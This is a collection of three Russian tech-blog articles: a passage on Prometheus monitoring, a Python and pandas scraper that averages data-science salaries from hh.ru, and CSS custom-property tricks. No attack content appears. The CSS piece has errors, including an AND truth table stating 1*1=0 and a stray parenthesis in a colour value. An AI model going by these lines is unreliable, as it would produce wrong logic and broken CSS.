[{{ .Labels.job }}](/consoles/job-overview.html?instance={{ .Labels.instance }})
{{ end }}
```
В результате, мы получим список из ссылок на консоль “job-overview.html”, в которую передается параметр «instance». Теперь этот параметр можно использовать в качестве фильтра для построения графиков:
```
new PromConsole.Graph({
node: document.querySelector("#successGraph"),
expr: [
"sum(http_requests_success{instance='{{ .Params.instance }}' })"
],
name: http_requests_success,
})
```
Как источник дополнительных примеров можно использовать [стандартный набор](https://github.com/prometheus/prometheus/tree/master/consoles) консолей.
### Производительность
Как [утверждают](http://www.robustperception.io/scaling-and-federating-prometheus/) разработчики, один сервер Prometheus может с легкостью обслуживать миллионы time-series. Этого достаточно для сбора данных с тысячи серверов с интервалом в 10 секунд. В случаях же, когда этого недостаточно — предусмотрена возможность [масштабирования](https://prometheus.io/docs/operating/federation/).
На практике заявленная производительность подтверждается. При мониторинге 800 сервисов, около 80 метрик в каждом, Prometheus использует около 6% одного ядра и 3 GB RAM, а собранные за 15 дней метрики занимают 17 GB памяти на диске. Не обязательно выделять для Prometheus отдельный сервер, с таким незначительным потреблением ресурсов он может быть установлен рядом с другими сервисами не принося никаких неудобств.
Prometheus хранит собранные метрики в оперативной памяти и при достижении лимита по размеру, или по прошествии определенного интервала времени, сохраняет их на диск. В случаях, когда приходится собирать большое количество данных (больше 100к time series, к примеру) может возрасти нагрузка на диск. В документации Prometheus приводятся полезные советы по [оптимизации](https://prometheus.io/docs/operating/storage/#memory-usage) в таких случаях.
Бывают случаи, когда нужно сформировать график, требующий тяжелых вычислений, захватывающий большие временные периоды или имеющий высокое посещение. Для того, чтобы облегчить работу Prometheus и не вычислять такие данные на каждом запросе, существует возможность [предварительного расчета](https://prometheus.io/docs/querying/rules/#recording-rules). Такая опция будет особенно полезной при создании дашбордов.
### Кастомизация
Откровенно говоря, web-интерфейс показался мне немного “сыроватым”. При работе с графиками, метриками, разделом наблюдаемых сервисов (/targets) возникала необходимость дополнительного функционала. С этим не возникло никаких проблем, и, вскоре, я добавил возможность быстрого поиска по тэгам метрик, а так же изменил layout раздела консолей. Когда раздел /targets увеличился до 800 сервисов — пришлось скрыть эндпоинты на странице, объединив их в группы (иначе они занимали слишком много места). Когда какой-то из эндпоинтов перестает нормально работать, то к группе добавляется иконка, уведомляющая об ошибке. Развернув лист, можно найти проблемный эндпоинт и узнать подробную информацию об ошибке:
Простота web-интерфейсов Prometheus открывает широкие возможности для создания themes, модифицирующих стандартный интерфейсы или добавляя новые разделы. Как подтверждение сказанного, предлагаю ознакомится с графическим [генератором конфигурации](https://github.com/line/promgen).
### Дополнительное ПО
Команда разработчиков Prometheus создает максимально открытый для интеграции проект, который можно использовать совместно с другими технологиями, а комьюнити всячески старается в этом помочь. На сайте Prometheus Вы сможете найти перечень поддерживаемых [exporters](https://prometheus.io/docs/instrumenting/exporters/) — пакетов, снимающих метрики с других сервисов и технологий. Мы используем только некоторые: [node\_exporter](https://github.com/prometheus/node_exporter), [postgres\_exporter](https://github.com/wrouesnel/postgres_exporter) и [grok\_exporter](https://github.com/fstab/grok_exporter). Для них построены обобщенные консоли, графики в которых строятся относительно просматриваемого сервиса. Все ново добавленные или обнаруженные ([service discovery](https://prometheus.io/docs/operating/configuration/#scrape_config)) сервисы автоматически становятся доступными для просмотра в ранее созданных консолях. Если у Вас целый “зоопарк” технологий, то придется установить массу exporters для их мониторинга, но такому подходу есть вполне логическое [обоснование](http://www.robustperception.io/one-agent-to-rule-them-all/).
Странной может показаться ситуация с безопасностью. Изначально, сервис Prometheus и установленные exporters “открыты миру”. Любой желающий, знающий нужный адрес и порт, сможет получить данные по вашим метрикам. [Позиция](http://www.robustperception.io/prometheus-security-authentication-authorization-and-encryption/) разработчиков здесь такова — Prometheus это система мониторинга, а не безопасности. Пользователям не составит труда использовать в этих целях сторонние 3rd-party продукты, давно и успешно реализовывающие такие задачи, позволив разработчикам Prometheus сфокусироваться на задачах мониторинга. В моем же случае, успешно используется Nginx как reverse-proxy с http basic auth, настройка которого заняла совсем незначительное время.
Для тех, кто хочет лишить себя сна и покоя, разработчики предоставляют возможность использования [AlertManager](https://prometheus.io/docs/alerting/overview/). Он чрезвычайно прост в настройке и позволяет работать с уже упомянутым языком запросов. AlertManager может [интегрироваться](https://prometheus.io/docs/alerting/configuration/#hipchat-receiver-hipchat_config) с HipChat, Slack, PagerDuty, а в случае необходимости интеграции с еще не поддерживаемыми сервисами, рекомендую ознакомиться со статьей интеграции для [аудио-оповещения](http://www.robustperception.io/audio-alerting-with-prometheus/).
В качестве практического примера привожу правило из моей текущей конфигурации AlertManager:
```
ALERT nodeexporter_available_disk_space
IF (100 - node_filesystem_free{job=~".*nodeexporter"} / node_filesystem_size{job=~".*nodeexporter"} * 100) > 70
ANNOTATIONS {description="Used disk space: {{ $value }}%. Device: {{ $labels.device }}.", summary="Running out of disk space at instance {{ $labels.instance }}"}
```
Это правило сработает в случае заполнения дискового пространства более чем на 70% на любом из серверов, где запущен node\_exporter, после чего будет выслано соответствующее уведомление на почту.
### Заключение
Я рекомендую Вам непременно познакомиться с Prometheus ближе. Для меня он стал легкой, простой и понятной системой мониторинга, с которой просто приятно работать, расширять и модифицировать под свои нужды. Если у кого-то возникнут вопросы относительно практического применения — буду рад ответить в комментариях.
### Полезные ссылки
* [Demo](http://demo.robustperception.io:9090/consoles/index.html)
* [www.robustperception.io](http://www.robustperception.io)
* [www.reddit.com/r/PrometheusMonitoring](http://www.reddit.com/r/PrometheusMonitoring/)
* [Report on Prometheus Casual Talks in Tokyo and then toward PromCon 2016](http://developers.linecorp.com/blog/?p=3908)
* [Мониторинг сервисов с Prometheus](https://habrahabr.ru/company/selectel/blog/275803/) | https://habr.com/ru/post/308610/ | null | ru | null |
# Считаем среднюю ЗП «дата-саентолога». Парсим hh.ru с помощью pandas/python
Хочешь узнать, какая ситуация на рынке труда, особенно в области "дата-сайенс"?
Если знаешь Python и Pandas, парсинг Хедхантера это кажется один с самый надежных и легких способов.
Код работает на Python3.6 и Pandas 0.24.2
Ipython можно скачать [здесь](https://ipython.org/).
Чтобы проверить версию Pandas(Linux/MacOS) console:
```
ipython
```
И потом в командной строке
```
#ipython
import pandas as pd
pd.__version__
```
```
#Если нет подходящей версии(консоль)
pip install pandas==0.24.2
```
Уже все настроили? Поехали!
Парсим на Python
================
HH позволяет найти работу в России. Данный рекрутинговый ресурс обладает самой большой базой данных вакансий. HH делится удобным api.
Немного погуглил и вот получилось написать парсер.
```
#код в ссылке https://gist.github.com/fuwiak/9c695b51c33b2e052c5a721383705a9c
#код с ссылки запускаем так(BASH) python3 hh_parser.py
import requests
import pandas as pd
number_of_pages = 100
#number_of_ads = number_of_pages * per_page
job_title = ["'Data Analyst' and 'data scientist'"]
for job in job_title:
data=[]
for i in range(number_of_pages):
url = 'https://api.hh.ru/vacancies'
par = {'text': job, 'area':'113','per_page':'10', 'page':i}
r = requests.get(url, params=par)
e=r.json()
data.append(e)
vacancy_details = data[0]['items'][0].keys()
df = pd.DataFrame(columns= list(vacancy_details))
ind = 0
for i in range(len(data)):
for j in range(len(data[i]['items'])):
df.loc[ind] = data[i]['items'][j]
ind+=1
csv_name = job+".csv"
df.to_csv(csv_name)
```
В итоге мы получили файл csv с названием указанным в job\_title.
В указанном будет загружен один файл с вакансиями с фразой
«Data Analyst» и «data scientist». Если хотите отдельно поменяйте строку на
```
job_title=['Data Analyst', 'Data Scientist']
```
Тогда вы получаете 2 файла с этими названиями.
Что интересно, есть и другие операторы кроме «and». С их помощью можно искать точные совпадения. Подробнее по ссылке.
<https://hh.ru/article/309400>
What time is it? Its Pandas Time!
=================================
Собранные таким образом объявления будут разделены на группы в соответствии с информацией содержащейся в них или описанием их метаданных. Например: город; позиция; вилка зарплаты; категория вакансии. В этом случае одно объявление может принадлежать нескольким категориям.
Сейчас займусь данным, которые связанны с позицией "data scientist", используя jupyter-notebook. <https://jupyter.org/>
Что делать, чтобы поменять название колонки “Unnamed”?
Самый главный вопрос — ЗП
=========================
```
import ast # run code from string for example ast.literal_eval("1+1")
salaries = df.salary.dropna() # remove all NA's from dataframe
currencies = [ast.literal_eval(salaries.iloc[i])['currency'] for i in range(len(salaries))]
curr = set(currencies) #{'EUR', 'RUR', 'USD'}
#divide dataframe salararies by currency
rur = [ast.literal_eval(salaries.iloc[i]) for i in range(len(salaries)) if ast.literal_eval(salaries.iloc[i])['currency']=='RUR']
eur = [ast.literal_eval(salaries.iloc[i]) for i in range(len(salaries)) if ast.literal_eval(salaries.iloc[i])['currency']=='EUR']
usd = [ast.literal_eval(salaries.iloc[i]) for i in range(len(salaries)) if ast.literal_eval(salaries.iloc[i])['currency']=='USD']
```
Получилось разделить зарплаты на валюты, самостоятельно сможете попробовать сделать анализ например только для евро. Я займусь сейчас только рублевыми зарплатами
```
fr = [x['from'] for x in rur] # lower range of salary
fr = list(filter(lambda x: x is not None, fr)) # remove NA's from lower range [0, 100, 200,...]
to = [x['to'] for x in rur] #upper range of salary
to = list(filter(lambda x: x is not None, to)) #remove NA's from upper range [100, 200, 300,...]
import numpy as np
salary_range = list(zip(fr, to)) # concatenate upper and lower range [(0,100), (100, 200), (200, 300)...]
av = map(np.mean, salary_range) # convert [(0,100), (100, 200), (200, 300)...] to [50, 150, 250,...]
av = round(np.mean(list(av)),1) # average value from [50, 150, 250,...]
print("average salary as Data Scientist ", av, "rubles")
```
Наконец-то узнали, около 150 тыс рублей, как [ожидаемо](https://vc.ru/flood/43849-zarplaty-it-specialistov-na-seredinu-2018-goda).
Для средней зарплаты у меня были такие условия:
* не считал вакансии, в которых нет указанной зарплаты (df.salary.dropna)
* взял только зарплаты в рублях
* если была вилка, тогда взял среднее значение (например, вилка от 10000 rub до 20000 rub → 15000 rub).
Троллям, слабоумным и любителям искать тайный смысл скажу следующее: я не являюсь сотрудником компании hh.ru; эта статья не является рекламой; я не получил за неё ни копейки. Всем удачи.
Бонус
=====
Как востребованы в области "Data Science" джуны?
```
from collections import Counter
vacancy_names = df.name # change here to change source of data/words etc
cloud = Counter(vacancy_names)
from wordcloud import WordCloud, STOPWORDS
stopwords = set(STOPWORDS)
cloud = ''
for x in list(vacancy_names):
cloud+=x+' '
wordcloud = WordCloud(width = 800, height = 800,
stopwords = stopwords,
min_font_size = 8,background_color='white'
).generate(cloud)
import matplotlib.pylab as plt
plt.figure(figsize = (16, 16))
plt.imshow(wordcloud)
plt.savefig('vacancy_cloud.png')
```
[REPO] (<https://github.com/fuwiak/HH>)
EDIT:
Версия пользователя [zoldaten](https://habr.com/ru/users/zoldaten/)
Парсер hh
Код не авторский, кроме некоторых костылей.
```
# !/usr/bin/python3
# -*- coding: utf-8 -*-
import sys
import xlsxwriter # pip install XlsxWriter
import requests # pip install requests
from bs4 import BeautifulSoup as bs # pip install beautifulsoup4
headers = {'accept': '*/*', 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'}
vacancy = input('Укажите название вакансии: ')
base_url = f'https://hh.ru/search/vacancy?area=1&search_period=30&text={vacancy}&page=' # area=1 - Москва, search_period=3 - За 30 последних дня
pages = int(input('Укажите кол-во страниц для парсинга: '))
#Юрист+юрисконсульт
jobs =[]
def hh_parse(base_url, headers):
zero = 0
while pages > zero:
zero = str(zero)
session = requests.Session()
request = session.get(base_url + zero, headers = headers)
if request.status_code == 200:
soup = bs(request.content, 'html.parser')
divs = soup.find_all('div', attrs = {'data-qa': 'vacancy-serp__vacancy'})
for div in divs:
title = div.find('a', attrs = {'data-qa': 'vacancy-serp__vacancy-title'}).text
compensation = div.find('div', attrs={'data-qa': 'vacancy-serp__vacancy-compensation'})
if compensation == None: # Если зарплата не указана
compensation = 'None'
else:
compensation = div.find('div', attrs={'data-qa': 'vacancy-serp__vacancy-compensation'}).text
href = div.find('a', attrs = {'data-qa': 'vacancy-serp__vacancy-title'})['href']
try:
company = div.find('a', attrs = {'data-qa': 'vacancy-serp__vacancy-employer'}).text
except:
company = 'None'
text1 = div.find('div', attrs = {'data-qa': 'vacancy-serp__vacancy_snippet_responsibility'}).text
text2 = div.find('div', attrs = {'data-qa': 'vacancy-serp__vacancy_snippet_requirement'}).text
content = text1 + ' ' + text2
all_txt = [title, compensation, company, content, href]
jobs.append(all_txt)
zero = int(zero)
zero += 1
else:
print('error')
# Запись в Excel файл
workbook = xlsxwriter.Workbook('Vacancy.xlsx')
worksheet = workbook.add_worksheet()
# Добавим стили форматирования
bold = workbook.add_format({'bold': 1})
bold.set_align('center')
center_H_V = workbook.add_format()
center_H_V.set_align('center')
center_H_V.set_align('vcenter')
center_V = workbook.add_format()
center_V.set_align('vcenter')
cell_wrap = workbook.add_format()
cell_wrap.set_text_wrap()
# Настройка ширины колонок
worksheet.set_column(0, 0, 35) # A https://xlsxwriter.readthedocs.io/worksheet.html#set_column
worksheet.set_column(1, 1, 20) # B
worksheet.set_column(2, 2, 40) # C
worksheet.set_column(3, 3, 135) # D
worksheet.set_column(4, 4, 45) # E
worksheet.write('A1', 'Наименование', bold)
worksheet.write('B1', 'Зарплата', bold)
worksheet.write('C1', 'Компания', bold)
worksheet.write('D1', 'Описание', bold)
worksheet.write('E1', 'Ссылка', bold)
row = 1
col = 0
for i in jobs:
worksheet.write_string (row, col, i[0], center_V)
worksheet.write_string (row, col + 1, i[1], center_H_V)
worksheet.write_string (row, col + 2, i[2], center_H_V)
worksheet.write_string (row, col + 3, i[3], cell_wrap)
# worksheet.write_url (row, col + 4, i[4], center_H_V)
worksheet.write_url (row, col + 4, i[4])
row += 1
print('OK')
workbook.close()
hh_parse(base_url, headers)
``` | https://habr.com/ru/post/464823/ | null | ru | null |
# Крутые трюки с переменными CSS
Переменные в CSS (или custom properties, кому как удобнее) изначально задумывались для хранения повторяющихся свойств вроде цветовой палитры или шрифтов в одном месте. В препроцессорах работа с переменными куда более гибкая, но магия SASS/SCSS применима не всегда и не везде, и в реальном мире часто обходятся без них, что нередко ведёт к раздуванию и размазыванию кодовой базы по разным файлам и форматам. В этой статье мы рассмотрим несколько интересных хаков, которые позволяют построить на механизме custom properties вещи, кажущиеся невозможными без препроцессоров или вмешательства JS.
Избегаем повторного определения цветов
======================================
Определять темы в чистом CSS не самое приятное занятие: обычно переключение на тёмную палитру требует смены сразу многих цветов для многих элементов: фоны, текст, ссылки, кнопки и так далее. Исходные предпочтения пользователя получаются медиа-запросом prefers-color-scheme, внутри которого нужно расставить новые цвета для всех селекторов, что приводит к раздуванию:
```
:root {
--background: #fff;
--text-color: #000;
--link-color: #0089c7;
--primary-color: #165fb9;
/* ... */
}
@media (prefers-color-scheme: dark) {
:root {
--background: #1b1b1b);
--text-color: #eaeaea;
--link-color: #b76c10;
--primary-color: #8916b9;
/* и в том же духе на десятки строк в разных скоупах */
}
}
```
В CSS нет другого механизма для изменения переменных, но повторения всё же можно избежать с помощью дополнительных значений:
```
--background: var(--light, #fff) var(--dark, #1b1b1b);
```
Если использовать переменную `--light` со значением initial, а в `--dark` передать валидное, но неприменимое значение, то `--background` получит цвет #fff. Для этой ситуации у CSS такое значение есть, и это… пробел. Таким образом, для белой темы строка распарсится так:
```
--background: #fff ;
```
А для тёмной так:
```
--background: #1b1b1b);
```
Обратите внимание на пробелы, они не ломают синтаксис (что сбросило бы определение всей строки). Теперь осталось только вынести переключатель состояния в отдельные переменные:
```
:root {
/* --ON и --OFF заменяют двоичную переменную */
--ON: initial;
--OFF: ;
}
/* выбираем светлую тему по умолчанию */
.theme-default,
.theme-light {
--light: var(--ON);
--dark: var(--OFF);
}
.theme-dark {
--light: var(--OFF);
--dark: var(--ON);
}
/* медиа-запрос теперь нужен только для переключения */
@media (prefers-color-scheme: dark) {
.theme-default {
--light: var(--OFF);
--dark: var(--ON);
}
}
```
Теперь цветовые схемы можно определять в одном месте, выглядеть это будет так:
```
:root {
--background: var(--light, #fff) var(--dark, #1b1b1b);
--text-color: var(--light, #000) var(--dark, #eaeaea);
--link-color: var(--light, #0089c7) var(--dark, #b76c10);
--primary-color: var(--light, #165fb9) var(--dark, #8916b9);
/* ... */
}
```
Такой код менее нагляден по сравнению с классическим определением, но к нему легко привыкнуть, и он не только экономит кучу места, но и уменьшает шанс ошибиться при изменении.
Используем switch-case в языке без логики
=========================================
Как мы помним, в CSS не существует явных условных операторов для управления состоянием кроме медиа-запросов. Но структура этого языка иногда подбрасывает возможности там, где их никто не планировал. Встречайте: switch-case на анимации!
Для свойства `animation` можно создавать любое количество ключевых кадров (`@keyframes`), которые можно использовать как постоянное хранилище состояния, если держать анимацию остановленной. Для каждого кадра нужно знать точную задержку, чтобы остановленная анимация показывала нужный момент, а не фиксировалась на первом кадре. Вот наглядный пример:
Разберём принцип работы:
* Анимация остановлена через `animation-play-state: paused`.
* Отрицательная задержка в `animation-delay` заставляет анимацию останавливаться на конкретном кадре (или между двумя определёнными кадрами, так работает градиент на первом ползунке). Значения на ползунке — от -100s до 0s.
* В `animation-duration` можно указать любое удобное число, но нужно помнить, что при проигрывании последнего кадра анимация выключается, поэтому максимальная длительность не должна совпадать по времени с последним определённым кадром (case). Поэтому в примере выше разброс ползунка 100 секунд при длительности 100.001s.
Бинарная логика на функции calc()
=================================
В первом трюке мы уже использовали переменные `--ON` `--OFF` вместо двоичной переменной. В custom properties можно хранить числовые значения, и с помощью вычислений разных параметров через calc() и clamp() можно получать 0 или 1 в самых разных сценариях (подробнее в [этой](https://css-tricks.com/dry-switching-with-css-variables-the-difference-of-one-declaration/) статье). Довольно неудобно даже инвертировать значение явным присваиванием, как в примере выше, а пытаться строить на этом какую-то логику и вовсе кошмар. Хорошо, что основные логические операции можно выполнять прямо в объявлении переменных!
`not`
Тут всё просто, 1 — 0 = 1, 1 — 1 = 0
```
--not: calc(1 - var(--j))
```
`and`
Простое умножение:
0 \* 0 = 0
1 \* 0 = 0
0 \* 1 = 0
1 \* 1 = 0
```
--and: calc(var(--k)*var(--i))
```
`nand`
1 — and = инвертированный and
```
--nand: calc(1 - var(--k)*var(--i))
```
`or`
Если хотя бы один из операндов равен единице, or возвращает единицу:
k or i = (not k) nand (not i)
```
--or: calc(1 - (1 - var(--k))*(1 - var(--i)))
```
`nor`
Аналогично с nand, nor = 1 — or:
```
--nor: calc((1 - var(--k))*(1 - var(--i)))
```
`xor`
Возвращает единицу, если ровно один из операндов равен единице:
```
--xor: calc((var(--k) - var(--i))*(var(--k) - var(--i)))
```
Заключение
==========
Имея на руках бинарную логику и условные операторы, в CSS можно реализовать кучу вещей, которые раньше казалось возможным делать только через грубое вмешательство со стороны JS. Но есть один нюанс — чем глубже в дебри, тем менее читаемым становится код и тем сложнее его писать и поддерживать. Поэтому список подобных трюков можно продолжать ещё очень долго, но большинство приёмов из него почти наверняка не пригодятся в реальном мире. Зато основные концепции вроде switch и or помогут обойтись красивым CSS-only решением там, где раньше это казалось невозможным.
---
[Облачные серверы](https://macloud.ru/?partner=a5c2b53f48) от Маклауда подходят для размещения веб-проектов любой сложности! Вы можете создать собственную конфигурацию сервера в течение минуты и менять эти параметры в любой момент через удобную панель управления.
*Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!*
[](https://macloud.ru/?partner=habr_footer) | https://habr.com/ru/post/550168/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.